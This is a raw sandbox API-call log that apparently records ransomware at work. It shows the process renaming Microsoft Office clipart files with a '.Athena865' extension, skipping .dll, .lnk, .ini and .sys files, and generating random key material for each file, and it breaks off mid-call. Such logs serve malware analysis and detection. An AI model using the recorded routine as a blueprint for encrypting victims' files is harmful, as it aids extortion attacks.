[0122.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.225] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.225] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.225] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.227] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.228] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.228] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.228] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00392_.WMF" | out: lpString1="BL00392_.WMF") returned="BL00392_.WMF" [0122.229] lstrlenW (lpString="BL00392_.WMF") returned 12 [0122.229] lstrlenW (lpString="Athena865") returned 9 [0122.229] lstrcmpiW (lpString1="0392_.WMF", lpString2="Athena865") returned -1 [0122.229] lstrlenW (lpString=".dll") returned 4 [0122.229] lstrcmpiW (lpString1="BL00392_.WMF", lpString2=".dll") returned 1 [0122.229] lstrlenW (lpString=".lnk") returned 4 [0122.229] lstrcmpiW (lpString1="BL00392_.WMF", lpString2=".lnk") returned 1 [0122.229] lstrlenW (lpString=".ini") returned 4 [0122.229] lstrcmpiW (lpString1="BL00392_.WMF", lpString2=".ini") returned 1 [0122.229] lstrlenW (lpString=".sys") returned 4 [0122.229] lstrcmpiW (lpString1="BL00392_.WMF", lpString2=".sys") returned 1 [0122.229] lstrlenW (lpString="BL00392_.WMF") returned 12 [0122.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.Athena865") returned 73 [0122.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.232] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27050) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.233] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.233] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.235] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.236] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.236] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.237] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00524_.WMF" | out: lpString1="BL00524_.WMF") returned="BL00524_.WMF" [0122.237] lstrlenW (lpString="BL00524_.WMF") returned 12 [0122.237] lstrlenW (lpString="Athena865") returned 9 [0122.237] lstrcmpiW (lpString1="0524_.WMF", lpString2="Athena865") returned -1 [0122.237] lstrlenW (lpString=".dll") returned 4 [0122.237] lstrcmpiW (lpString1="BL00524_.WMF", lpString2=".dll") returned 1 [0122.237] lstrlenW (lpString=".lnk") returned 4 [0122.237] lstrcmpiW (lpString1="BL00524_.WMF", lpString2=".lnk") returned 1 [0122.237] lstrlenW (lpString=".ini") returned 4 [0122.238] lstrcmpiW (lpString1="BL00524_.WMF", lpString2=".ini") returned 1 [0122.238] lstrlenW (lpString=".sys") returned 4 [0122.238] lstrcmpiW (lpString1="BL00524_.WMF", lpString2=".sys") returned 1 [0122.238] lstrlenW (lpString="BL00524_.WMF") returned 12 [0122.238] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.Athena865") returned 73 [0122.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.246] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6996) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.247] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.247] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.250] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.251] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.251] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.252] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00525_.WMF" | out: lpString1="BL00525_.WMF") returned="BL00525_.WMF" [0122.252] lstrlenW (lpString="BL00525_.WMF") returned 12 [0122.252] lstrlenW (lpString="Athena865") returned 9 [0122.252] lstrcmpiW (lpString1="0525_.WMF", lpString2="Athena865") returned -1 [0122.252] lstrlenW (lpString=".dll") returned 4 [0122.252] lstrcmpiW (lpString1="BL00525_.WMF", lpString2=".dll") returned 1 [0122.252] lstrlenW (lpString=".lnk") returned 4 [0122.252] lstrcmpiW (lpString1="BL00525_.WMF", lpString2=".lnk") returned 1 [0122.252] lstrlenW (lpString=".ini") returned 4 [0122.252] lstrcmpiW (lpString1="BL00525_.WMF", lpString2=".ini") returned 1 [0122.252] lstrlenW (lpString=".sys") returned 4 [0122.252] lstrcmpiW (lpString1="BL00525_.WMF", lpString2=".sys") returned 1 [0122.252] lstrlenW (lpString="BL00525_.WMF") returned 12 [0122.252] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.Athena865") returned 73 [0122.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.253] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9590) returned 1 [0122.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.254] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.254] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.254] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.256] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.257] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.257] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.258] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00526_.WMF" | out: lpString1="BL00526_.WMF") returned="BL00526_.WMF" [0122.258] lstrlenW (lpString="BL00526_.WMF") returned 12 [0122.258] lstrlenW (lpString="Athena865") returned 9 [0122.258] lstrcmpiW (lpString1="0526_.WMF", lpString2="Athena865") returned -1 [0122.258] lstrlenW (lpString=".dll") returned 4 [0122.258] lstrcmpiW (lpString1="BL00526_.WMF", lpString2=".dll") returned 1 [0122.258] lstrlenW (lpString=".lnk") returned 4 [0122.258] lstrcmpiW (lpString1="BL00526_.WMF", lpString2=".lnk") returned 1 [0122.258] lstrlenW (lpString=".ini") returned 4 [0122.258] lstrcmpiW (lpString1="BL00526_.WMF", lpString2=".ini") returned 1 [0122.258] lstrlenW (lpString=".sys") returned 4 [0122.258] lstrcmpiW (lpString1="BL00526_.WMF", lpString2=".sys") returned 1 [0122.258] lstrlenW (lpString="BL00526_.WMF") returned 12 [0122.258] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.Athena865") returned 73 [0122.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.259] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27552) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.260] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.260] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.260] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.263] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.264] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.264] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.264] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00648_.WMF" | out: lpString1="BL00648_.WMF") returned="BL00648_.WMF" [0122.264] lstrlenW (lpString="BL00648_.WMF") returned 12 [0122.264] lstrlenW (lpString="Athena865") returned 9 [0122.265] lstrcmpiW (lpString1="0648_.WMF", lpString2="Athena865") returned -1 [0122.265] lstrlenW (lpString=".dll") returned 4 [0122.265] lstrcmpiW (lpString1="BL00648_.WMF", lpString2=".dll") returned 1 [0122.265] lstrlenW (lpString=".lnk") returned 4 [0122.265] lstrcmpiW (lpString1="BL00648_.WMF", lpString2=".lnk") returned 1 [0122.265] lstrlenW (lpString=".ini") returned 4 [0122.265] lstrcmpiW (lpString1="BL00648_.WMF", lpString2=".ini") returned 1 [0122.265] lstrlenW (lpString=".sys") returned 4 [0122.265] lstrcmpiW (lpString1="BL00648_.WMF", lpString2=".sys") returned 1 [0122.265] lstrlenW (lpString="BL00648_.WMF") returned 12 [0122.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.Athena865") returned 73 [0122.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.266] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11500) returned 1 [0122.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.266] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.267] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.267] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.269] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.270] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.270] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.270] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00921_.WMF" | out: lpString1="BL00921_.WMF") returned="BL00921_.WMF" [0122.271] lstrlenW (lpString="BL00921_.WMF") returned 12 [0122.271] lstrlenW (lpString="Athena865") returned 9 [0122.271] lstrcmpiW (lpString1="0921_.WMF", lpString2="Athena865") returned -1 [0122.271] lstrlenW (lpString=".dll") returned 4 [0122.271] lstrcmpiW (lpString1="BL00921_.WMF", lpString2=".dll") returned 1 [0122.271] lstrlenW (lpString=".lnk") returned 4 [0122.271] lstrcmpiW (lpString1="BL00921_.WMF", lpString2=".lnk") returned 1 [0122.271] lstrlenW (lpString=".ini") returned 4 [0122.271] lstrcmpiW (lpString1="BL00921_.WMF", lpString2=".ini") returned 1 [0122.271] lstrlenW (lpString=".sys") returned 4 [0122.271] lstrcmpiW (lpString1="BL00921_.WMF", lpString2=".sys") returned 1 [0122.271] lstrlenW (lpString="BL00921_.WMF") returned 12 [0122.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.Athena865") returned 73 [0122.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.273] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4408) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.273] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.274] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.274] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.276] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.277] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.277] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.278] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00923_.WMF" | out: lpString1="BL00923_.WMF") returned="BL00923_.WMF" [0122.278] lstrlenW (lpString="BL00923_.WMF") returned 12 [0122.278] lstrlenW (lpString="Athena865") returned 9 [0122.278] lstrcmpiW (lpString1="0923_.WMF", lpString2="Athena865") returned -1 [0122.278] lstrlenW (lpString=".dll") returned 4 [0122.278] lstrcmpiW (lpString1="BL00923_.WMF", lpString2=".dll") returned 1 [0122.278] lstrlenW (lpString=".lnk") returned 4 [0122.278] lstrcmpiW (lpString1="BL00923_.WMF", lpString2=".lnk") returned 1 [0122.278] lstrlenW (lpString=".ini") returned 4 [0122.278] lstrcmpiW (lpString1="BL00923_.WMF", lpString2=".ini") returned 1 [0122.278] lstrlenW (lpString=".sys") returned 4 [0122.278] lstrcmpiW (lpString1="BL00923_.WMF", lpString2=".sys") returned 1 [0122.278] lstrlenW (lpString="BL00923_.WMF") returned 12 [0122.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.Athena865") returned 73 [0122.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.279] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6256) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.280] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.280] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.280] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.287] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.287] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.287] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00932_.WMF" | out: lpString1="BL00932_.WMF") returned="BL00932_.WMF" [0122.287] lstrlenW (lpString="BL00932_.WMF") returned 12 [0122.287] lstrlenW (lpString="Athena865") returned 9 [0122.287] lstrcmpiW (lpString1="0932_.WMF", lpString2="Athena865") returned -1 [0122.287] lstrlenW (lpString=".dll") returned 4 [0122.287] lstrcmpiW (lpString1="BL00932_.WMF", lpString2=".dll") returned 1 [0122.287] lstrlenW (lpString=".lnk") returned 4 [0122.287] lstrcmpiW (lpString1="BL00932_.WMF", lpString2=".lnk") returned 1 [0122.287] lstrlenW (lpString=".ini") returned 4 [0122.287] lstrcmpiW (lpString1="BL00932_.WMF", lpString2=".ini") returned 1 [0122.288] lstrlenW (lpString=".sys") returned 4 [0122.288] lstrcmpiW (lpString1="BL00932_.WMF", lpString2=".sys") returned 1 [0122.288] lstrlenW (lpString="BL00932_.WMF") returned 12 [0122.288] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.Athena865") returned 73 [0122.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.289] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19476) returned 1 [0122.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.290] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.290] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.290] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.295] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.296] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.296] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.296] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00985_.WMF" | out: lpString1="BL00985_.WMF") returned="BL00985_.WMF" [0122.296] lstrlenW (lpString="BL00985_.WMF") returned 12 [0122.296] lstrlenW (lpString="Athena865") returned 9 [0122.296] lstrcmpiW (lpString1="0985_.WMF", lpString2="Athena865") returned -1 [0122.297] lstrlenW (lpString=".dll") returned 4 [0122.297] lstrcmpiW (lpString1="BL00985_.WMF", lpString2=".dll") returned 1 [0122.297] lstrlenW (lpString=".lnk") returned 4 [0122.297] lstrcmpiW (lpString1="BL00985_.WMF", lpString2=".lnk") returned 1 [0122.297] lstrlenW (lpString=".ini") returned 4 [0122.297] lstrcmpiW (lpString1="BL00985_.WMF", lpString2=".ini") returned 1 [0122.297] lstrlenW (lpString=".sys") returned 4 [0122.297] lstrcmpiW (lpString1="BL00985_.WMF", lpString2=".sys") returned 1 [0122.297] lstrlenW (lpString="BL00985_.WMF") returned 12 [0122.297] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.Athena865") returned 73 [0122.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.athena865"), 